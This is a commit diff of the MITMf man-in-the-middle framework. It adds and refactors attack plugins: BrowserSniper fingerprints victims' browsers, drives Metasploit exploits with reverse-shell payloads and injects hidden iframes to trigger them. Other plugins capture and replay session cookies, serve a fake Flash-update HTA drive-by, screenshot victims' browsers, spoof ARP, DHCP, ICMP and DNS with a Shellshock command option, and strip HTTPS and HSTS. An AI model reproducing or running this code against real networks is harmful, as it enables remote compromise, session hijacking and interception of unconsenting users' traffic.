This commit refactors ARP and DHCP poisoning:

DHCP poisoning now works on Windows, additionaly it's been optimized for performance improvements
ARP poisoning has been optimized with and internal cache and some algo improvements

cve-details-parser.py has been added to the utils/ directory to help adding exploits to the BrowserSniper config file

I'm currently working on adding to the filepwn plugin all of the missing options that bdfproxy stand-alone has
This commit is contained in:
byt3bl33d3r 2015-07-25 02:49:41 +02:00
commit ba14ed8687
35 changed files with 1082 additions and 676 deletions

View file

@ -55,7 +55,7 @@ class AppCachePlugin(Plugin):
if regexp and not re.search(regexp,req_headers["user-agent"]):
self.clientlog.info("Tampering disabled in this useragent ({})".format(req_headers["user-agent"]), extra=request.clientInfo)
return {'response': response, 'request': request, 'data': data}
urls = self.urlMonitor.getRedirectionSet(url)
self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo)
(name,s,element,url) = self.getSectionForUrls(urls)

View file

@ -38,6 +38,7 @@ class BrowserProfiler(Inject, Plugin):
if (request.command == 'POST') and ('clientprfl' in request.uri):
request.handle_post_output = True
self.output = json.loads(request.postData)
self.output['ip'] = request.client.getClientIP()
pretty_output = pformat(self.output)
self.clientlog.info("Got profile:\n{}".format(pretty_output), extra=request.clientInfo)

179
plugins/browsersniper.py Normal file
View file

@ -0,0 +1,179 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import string
import random
import threading
from time import sleep
from plugins.plugin import Plugin
from plugins.browserprofiler import BrowserProfiler
class BrowserSniper(BrowserProfiler, Plugin):
name = "BrowserSniper"
optname = "browsersniper"
desc = "Performs drive-by attacks on clients with out-of-date browser plugins"
version = "0.4"
has_opts = False
def initialize(self, options):
self.options = options
self.msfip = options.ip
self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit
#Initialize the BrowserProfiler plugin
BrowserProfiler.initialize(self, options)
from core.msfrpc import Msf
self.msf = Msf()
self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version))
t = threading.Thread(name='sniper', target=self.snipe)
t.setDaemon(True)
t.start()
def _setupExploit(self, exploit, msfport):
self.log.debug('Setting up {}'.format(exploit))
rand_url = "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5))
rand_port = random.randint(1000, 65535)
#generate the command string to send to the virtual console
cmd = "use exploit/{}\n".format(exploit)
cmd += "set SRVPORT {}\n".format(msfport)
cmd += "set URIPATH {}\n".format(rand_url)
cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
cmd += "set LHOST {}\n".format(self.msfip)
cmd += "set LPORT {}\n".format(rand_port)
cmd += "set ExitOnSession False\n"
cmd += "exploit -j\n"
self.msf.sendcommand(cmd)
return rand_url
def _compat_system(self, os_config, brw_config, os, browser):
if (os_config == 'any') and (brw_config == 'any'):
return True
if (os_config == 'any') and (brw_config in browser):
return True
if (os_config in os) and (brw_config == 'any'):
return True
if (os_config in os) and (brw_config in browser):
return True
return False
def getExploits(self):
exploits = []
vic_ip = self.output['ip']
os = self.output['ua_name']
browser = self.output['os_name']
java = None
flash = None
if self.output['java'] is not None:
java = self.output['java']
if self.output['flash'] is not None:
flash = self.output['flash']
self.log.info("{} => OS: {} | Browser: {} | Java: {} | Flash: {}".format(vic_ip, os, browser, java, flash))
for exploit, details in self.config['BrowserSniper']['exploits'].iteritems():
if self._compat_system(details['OS'].lower(), details['Browser'].lower(), os.lower(), browser.lower()):
if details['Type'].lower() == 'browservuln':
exploits.append(exploit)
elif details['Type'].lower() == 'pluginvuln':
if details['Plugin'].lower() == 'java':
if (java is not None) and (java in details['PluginVersions']):
exploits.append(exploit)
elif details['Plugin'].lower() == 'flash':
if (flash is not None) and (flash in details['PluginVersions']):
exploits.append(exploit)
self.log.info("{} => Compatible exploits: {}".format(vic_ip, exploits))
return exploits
def injectAndPoll(self, ip, url): #here we inject an iframe to trigger the exploit and check for resulting sessions
#inject iframe
self.log.info("{} => Now injecting iframe to trigger exploits".format(ip))
self.html_url = url
#The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds
#Will also make sure the shell actually came from the box that we targeted
self.log.info('{} => Waiting for ze shellz, sit back and relax...'.format(ip))
poll_n = 1
while poll_n != 30:
if self.msf.sessionsfrompeer(ip):
self.log.info("{} => Client haz been 0wn3d! Enjoy!".format(ip))
self.sploited_ips.append(ip)
self.black_ips = self.sploited_ips #Add to inject plugin blacklist since box has been popped
self.html_url = None
return
poll_n += 1
sleep(2)
self.log.info("{} => Session not established after 60 seconds".format(ip))
self.html_url = None
def snipe(self):
while True:
if self.output:
vic_ip = self.output['ip']
if vic_ip not in self.sploited_ips:
msfport = self.config['BrowserSniper']['msfport']
exploits = self.getExploits()
if not exploits:
self.log.info('{} => Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip))
self.sploited_ips.append(vic_ip)
self.black_ips = self.sploited_ips
elif exploits and (vic_ip not in self.sploited_ips):
self.log.info("{} => Client vulnerable to {} exploits".format(vic_ip, len(exploits)))
for exploit in exploits:
jobs = self.msf.findjobs(exploit)
if jobs:
self.log.info('{} => {} already started'.format(vic_ip, exploit))
url = self.msf.jobinfo(jobs[0])['uripath'] #get the url assigned to the exploit
else:
url = self._setupExploit(exploit, msfport)
iframe_url = 'http://{}:{}{}'.format(self.msfip, msfport, url)
self.injectAndPoll(vic_ip, iframe_url)
sleep(1)

View file

@ -26,75 +26,75 @@ from twisted.web import http
from twisted.internet import reactor
class FerretNG(Plugin):
name = "Ferret-NG"
optname = "ferretng"
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
version = "0.1"
has_opts = True
name = "Ferret-NG"
optname = "ferretng"
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
version = "0.1"
has_opts = True
def initialize(self, options):
self.options = options
self.ferret_port = options.ferret_port
self.cookie_file = None
def initialize(self, options):
self.options = options
self.ferret_port = options.ferret_port
self.cookie_file = None
from core.ferretng.FerretProxy import FerretProxy
from core.ferretng.URLMonitor import URLMonitor
from core.ferretng.FerretProxy import FerretProxy
from core.ferretng.URLMonitor import URLMonitor
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
from core.utils import shutdown
if options.cookie_file:
self.tree_info.append('Loading cookies from log file')
try:
with open(options.cookie_file, 'r') as cookie_file:
self.cookie_file = json.dumps(cookie_file.read())
URLMonitor.getInstance().cookies = self.cookie_file
cookie_file.close()
except Exception as e:
shutdown("[-] Error loading cookie log file: {}".format(e))
from core.utils import shutdown
if options.cookie_file:
self.tree_info.append('Loading cookies from log file')
try:
with open(options.cookie_file, 'r') as cookie_file:
self.cookie_file = json.dumps(cookie_file.read())
URLMonitor.getInstance().cookies = self.cookie_file
cookie_file.close()
except Exception as e:
shutdown("[-] Error loading cookie log file: {}".format(e))
self.tree_info.append("Listening on port {}".format(self.ferret_port))
self.tree_info.append("Listening on port {}".format(self.ferret_port))
def on_config_change(self):
self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
def on_config_change(self):
self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
def request(self, request):
if 'cookie' in request.headers:
host = request.headers['host']
cookie = request.headers['cookie']
client = request.client.getClientIP()
def request(self, request):
if 'cookie' in request.headers:
host = request.headers['host']
cookie = request.headers['cookie']
client = request.client.getClientIP()
if client not in URLMonitor.getInstance().cookies:
URLMonitor.getInstance().cookies[client] = []
if client not in URLMonitor.getInstance().cookies:
URLMonitor.getInstance().cookies[client] = []
for entry in URLMonitor.getInstance().cookies[client]:
if host == entry['host']:
self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo)
entry['host'] = host
entry['cookie'] = cookie
return
for entry in URLMonitor.getInstance().cookies[client]:
if host == entry['host']:
self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo)
entry['host'] = host
entry['cookie'] = cookie
return
self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo)
URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo)
URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
def reactor(self, StrippingProxy):
FerretFactory = http.HTTPFactory(timeout=10)
FerretFactory.protocol = FerretProxy
reactor.listenTCP(self.ferret_port, FerretFactory)
def reactor(self, StrippingProxy):
FerretFactory = http.HTTPFactory(timeout=10)
FerretFactory.protocol = FerretProxy
reactor.listenTCP(self.ferret_port, FerretFactory)
def options(self, options):
options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)')
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file')
def options(self, options):
options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)')
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file')
def on_shutdown(self):
if not URLMonitor.getInstance().cookies:
return
def on_shutdown(self):
if not URLMonitor.getInstance().cookies:
return
if self.cookie_file == URLMonitor.getInstance().cookies:
return
self.log.info("Writing cookies to log file")
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
cookie_file.write(str(URLMonitor.getInstance().cookies))
cookie_file.close()
if self.cookie_file == URLMonitor.getInstance().cookies:
return
self.log.info("Writing cookies to log file")
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
cookie_file.write(str(URLMonitor.getInstance().cookies))
cookie_file.close()

View file

@ -111,21 +111,17 @@ class FilePwn(Plugin):
#NOT USED NOW
self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
#FilePwn options
self.userConfig = self.config['FilePwn']
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
self.WindowsType = self.userConfig['targets']['ALL']['WindowsType']
self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86']
self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64']
self.LinuxType = self.userConfig['targets']['ALL']['LinuxType']
self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86']
self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64']
self.FatPriority = self.userConfig['targets']['ALL']['FatPriority']
self.zipblacklist = self.userConfig['ZIP']['blacklist']
self.tarblacklist = self.userConfig['TAR']['blacklist']
self.userConfig = self.config['FilePwn']
self.hostblacklist = self.userConfig['hosts']['blacklist']
self.hostwhitelist = self.userConfig['hosts']['whitelist']
self.keysblacklist = self.userConfig['keywords']['blacklist']
self.keyswhitelist = self.userConfig['keywords']['whitelist']
self.zipblacklist = self.userConfig['ZIP']['blacklist']
self.tarblacklist = self.userConfig['TAR']['blacklist']
self.parse_target_config(self.userConfig['targets']['ALL'])
self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version))
@ -570,12 +566,40 @@ class FilePwn(Plugin):
else:
self.patched.put(tempZipFile)
return
def parse_target_config(self, targetConfig):
for key, value in targetConfig.iteritems():
if hasattr(self, key) is False:
setattr(self, key, value)
self.log.debug("Settings Config {}: {}".format(key, value))
elif getattr(self, key, value) != value:
if value == "None":
continue
#test if string can be easily converted to dict
if ':' in str(value):
for tmpkey, tmpvalue in dict(value).iteritems():
getattr(self, key, value)[tmpkey] = tmpvalue
self.log.debug("Updating Config {}: {}".format(tmpkey, tmpvalue))
else:
setattr(self, key, value)
self.log.debug("Updating Config {}: {}".format(key, value))
def response(self, response, request, data):
content_header = response.headers['Content-Type']
client_ip = response.getClientIP()
for target in self.userConfig['targets'].keys():
if target == 'ALL':
self.parse_target_config(self.userConfig['targets']['ALL'])
if target in request.headers['host']:
self.parse_target_config(self.userConfig['targets'][target])
if content_header in self.zipMimeTypes:
if self.bytes_have_format(data, 'zip'):

View file

@ -21,36 +21,36 @@ import flask
from plugins.plugin import Plugin
from plugins.inject import Inject
from core.servers.http.HTTPserver import HTTPserver
class HTADriveBy(Inject, Plugin):
name = 'HTA Drive-By'
desc = 'Performs HTA drive-by attacks on clients'
optname = 'hta'
ver = '0.1'
name = 'HTA Drive-By'
desc = 'Performs HTA drive-by attacks on clients'
optname = 'hta'
ver = '0.1'
def initialize(self, options):
self.bar_text = options.text
self.ip = options.ip
Inject.initialize(self, options)
self.html_payload = self.get_payload()
def initialize(self, options):
self.bar_text = options.text
self.ip = options.ip
Inject.initialize(self, options)
self.html_payload = self.get_payload()
server = HTTPserver().server
from core.servers.http.HTTPserver import HTTPserver
def hta_request(path):
if path == options.hta_app.split('/')[-1]:
with open(options.hta_app) as hta_file:
resp = flask.Response(hta_file.read())
@server.route('/<hta_req>')
def client_request(hta_req):
if hta_req == "Flash.hta":
with open('./config/hta_driveby/Flash.hta') as hta_file:
resp = flask.Response(hta_file.read())
resp.headers['Content-Type'] = "application/hta"
return resp
resp.headers['Content-Type'] = "application/hta"
return resp
HTTPserver().add_endpoint(hta_request)
def get_payload(self):
with open("./core/html/htadriveby.html", 'r') as file:
payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
payload = re.sub("_IP_GOES_HERE_", self.ip, payload)
return payload
def get_payload(self):
with open("./core/html/htadriveby.html", 'r') as file:
payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
payload = re.sub("_IP_GOES_HERE_", self.ip, payload)
return payload
def options(self, options):
options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar")
def options(self, options):
options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar")
options.add_argument('--hta-app', type=str, default='./config/hta_driveby/Flash.hta', help='Path to HTA application [defaults to config/hta_driveby/Flash.hta]')

View file

@ -65,7 +65,7 @@ class Inject(Plugin):
if self.html_url:
iframe = html.new_tag("iframe", src=self.html_url, frameborder=0, height=0, width=0)
html.body.append(iframe)
self.clientlog.info("Injected HTML Iframe: {}".format(hn))
self.clientlog.info("Injected HTML Iframe: {}".format(hn), extra=request.clientInfo)
if self.html_payload:
payload = BeautifulSoup(self.html_payload, "html.parser")

View file

@ -26,28 +26,28 @@ import re
from plugins.plugin import Plugin
class Replace(Plugin):
name = "Replace"
optname = "replace"
desc = "Replace arbitrary content in HTML content"
version = "0.2"
name = "Replace"
optname = "replace"
desc = "Replace arbitrary content in HTML content"
version = "0.2"
def initialize(self, options):
self.options = options
def initialize(self, options):
self.options = options
def response(self, response, request, data):
mime = response.headers['Content-Type']
hn = response.getRequestHostname()
def response(self, response, request, data):
mime = response.headers['Content-Type']
hn = response.getRequestHostname()
if "text/html" in mime:
if "text/html" in mime:
for rulename, regexs in self.config['Replace'].iteritems():
for regex1,regex2 in regexs.iteritems():
if re.search(regex1, data):
try:
data = re.sub(regex1, regex2, data)
for rulename, regexs in self.config['Replace'].iteritems():
for regex1,regex2 in regexs.iteritems():
if re.search(regex1, data):
try:
data = re.sub(regex1, regex2, data)
self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo)
except Exception:
self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename))
self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo)
except Exception:
self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename))
return {'response': response, 'request': request, 'data': data}
return {'response': response, 'request': request, 'data': data}

View file

@ -17,6 +17,7 @@
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import flask
from plugins.plugin import Plugin
from twisted.internet import reactor
@ -53,13 +54,8 @@ class Responder(Plugin):
if options.wpad:
from core.servers.http.HTTPserver import HTTPserver
import flask
server = HTTPserver().server
@server.route('/<wpad_req>')
def wpad(wpad_req):
if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')):
def wpad_request(path):
if (path == 'wpad.dat') or (path.endswith('.pac')):
payload = self.config['Responder']['WPADScript']
resp = flask.Response(payload)
@ -70,6 +66,8 @@ class Responder(Plugin):
return resp
HTTPserver().add_endpoint(wpad_request)
if self.config["Responder"]["MSSQL"].lower() == "on":
from core.responder.mssql.MSSQLserver import MSSQLserver
MSSQLserver().start(smbChal)

View file

@ -27,33 +27,33 @@ from plugins.plugin import Plugin
from plugins.inject import Inject
class ScreenShotter(Inject, Plugin):
name = 'ScreenShotter'
optname = 'screen'
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
ver = '0.1'
name = 'ScreenShotter'
optname = 'screen'
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
ver = '0.1'
def initialize(self, options):
Inject.initialize(self, options)
self.js_payload = self.get_payload()
self.interval = options.interval
def initialize(self, options):
Inject.initialize(self, options)
self.js_payload = self.get_payload()
self.interval = options.interval
def request(self, request):
if 'saveshot' in request.uri:
request.handle_post_output = True
def request(self, request):
if 'saveshot' in request.uri:
request.handle_post_output = True
client = request.client.getClientIP()
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
try:
with open('./logs/' + img_file, 'wb') as img:
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
img.close()
client = request.client.getClientIP()
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
try:
with open('./logs/' + img_file, 'wb') as img:
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
img.close()
self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo)
except Exception as e:
self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo)
self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo)
except Exception as e:
self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo)
def get_payload(self):
return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
def get_payload(self):
return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
def options(self, options):
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
def options(self, options):
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")

115
plugins/spoof.py Normal file
View file

@ -0,0 +1,115 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from plugins.plugin import Plugin
class Spoof(Plugin):
name = "Spoof"
optname = "spoof"
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
version = "0.6"
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.manualiptables = options.manualiptables
self.protocol_instances = []
from core.utils import iptables, shutdown, set_ip_forwarding
#Makes scapy more verbose
debug = False
if options.arp:
if not options.gateway:
shutdown("[Spoof] --arp argument requires --gateway")
from core.poisoners.arp.ARPpoisoner import ARPpoisoner
arp = ARPpoisoner(options)
arp.debug = debug
self.tree_info.append('ARP spoofing enabled')
self.protocol_instances.append(arp)
elif options.dhcp:
from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner
if options.targets:
shutdown("[Spoof] --targets argument invalid when DCHP spoofing")
dhcp = DHCPpoisoner(options, self.config['Spoof']['DHCP'])
dhcp.debug = debug
self.tree_info.append('DHCP spoofing enabled')
self.protocol_instances.append(dhcp)
elif options.icmp:
from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner
if not options.gateway:
shutdown("[Spoof] --icmp argument requires --gateway")
if not options.targets:
shutdown("[Spoof] --icmp argument requires --targets")
icmp = ICMPpoisoner(options)
icmp.debug = debug
self.tree_info.append('ICMP spoofing enabled')
self.protocol_instances.append(icmp)
if options.dns:
from core.servers.dns.DNSchef import DNSChef
self.tree_info.append('DNS spoofing enabled')
if not options.manualiptables:
if iptables().dns is False:
iptables().DNS(self.config['MITMf']['DNS']['port'])
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
set_ip_forwarding(1)
if not options.manualiptables:
if iptables().http is False:
iptables().HTTP(options.listen_port)
for protocol in self.protocol_instances:
protocol.start()
def options(self, options):
group = options.add_mutually_exclusive_group(required=False)
group.add_argument('--arp', dest='arp', action='store_true', help='Redirect traffic using ARP spoofing')
group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects')
group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers')
options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries')
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]')
options.add_argument('--ignore', dest='ignore', help='Specify host/s not to poison')
options.add_argument('--arpmode',type=str, dest='arpmode', default='rep', choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
def on_shutdown(self):
from core.utils import iptables, set_ip_forwarding
for protocol in self.protocol_instances:
if hasattr(protocol, 'stop'):
protocol.stop()
if not self.manualiptables:
iptables().Flush()
set_ip_forwarding(0)

49
plugins/sslstrip+.py Normal file
View file

@ -0,0 +1,49 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import sys
from plugins.plugin import Plugin
class SSLstripPlus(Plugin):
name = 'SSLstrip+'
optname = 'hsts'
desc = 'Enables SSLstrip+ for partial HSTS bypass'
version = "0.4"
tree_info = ["SSLstrip+ by Leonardo Nve running"]
has_opts = False
def initialize(self, options):
self.options = options
self.manualiptables = options.manualiptables
from core.sslstrip.URLMonitor import URLMonitor
from core.servers.dns.DNSchef import DNSChef
from core.utils import iptables
if not options.manualiptables:
if iptables().dns is False:
iptables().DNS(self.config['MITMf']['DNS']['port'])
URLMonitor.getInstance().setHstsBypass()
DNSChef().setHstsBypass()
def on_shutdown(self):
from core.utils import iptables
if not self.manualiptables:
if iptables().dns is True:
iptables().Flush()